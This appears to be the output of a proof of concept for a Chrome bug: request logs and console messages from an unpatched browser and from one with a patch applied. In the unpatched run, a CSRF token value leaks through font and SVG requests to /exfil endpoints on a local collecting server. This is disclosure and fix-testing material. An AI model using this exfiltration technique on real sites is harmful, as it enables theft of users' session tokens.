==============================================================
Server-side request log -- UNPATCHED (vulnerable) Chrome
==============================================================
GET /poc.html
GET /exfil-svg?%3Cinput%20type=hidden%20name=csrf%20value=SECRET-TOKEN-svg    LEAKED
GET /exfil-font?%3Cinput%20type=hidden%20name=csrf%20value=SECRET-TOKEN-font    LEAKED
GET /favicon.ico

(no /exfil-img request -- background-image was correctly blocked
 by the existing CSSImageValue mitigation; this is the control.)

--- Chrome console (unpatched) ---
[INFO:CONSOLE] "document.fonts.status = loaded"
[INFO:CONSOLE] "Failed to decode downloaded font: http://127.0.0.1:8080/exfil-font?%3Cinput%20type=hidden%20name=csrf%20value=SECRET-TOKEN-font"
[INFO:CONSOLE] "FontFaceSet.load rejected: NetworkError: A network error occurred."
[INFO:CONSOLE] "FontFace "PocFont" status=error"

==============================================================
Server-side request log -- with bandaid-fix.patch applied
==============================================================
GET /poc.html
GET /favicon.ico

(/exfil-font and /exfil-svg are now blocked as expected.)

--- Chrome console (patched) ---
[INFO:CONSOLE] "document.fonts.status = loaded"
[INFO:CONSOLE] "FontFaceSet.load rejected: NetworkError: A network error occurred."
[INFO:CONSOLE] "FontFace "PocFont" status=error"
(no "downloaded font" message -- request never left the renderer)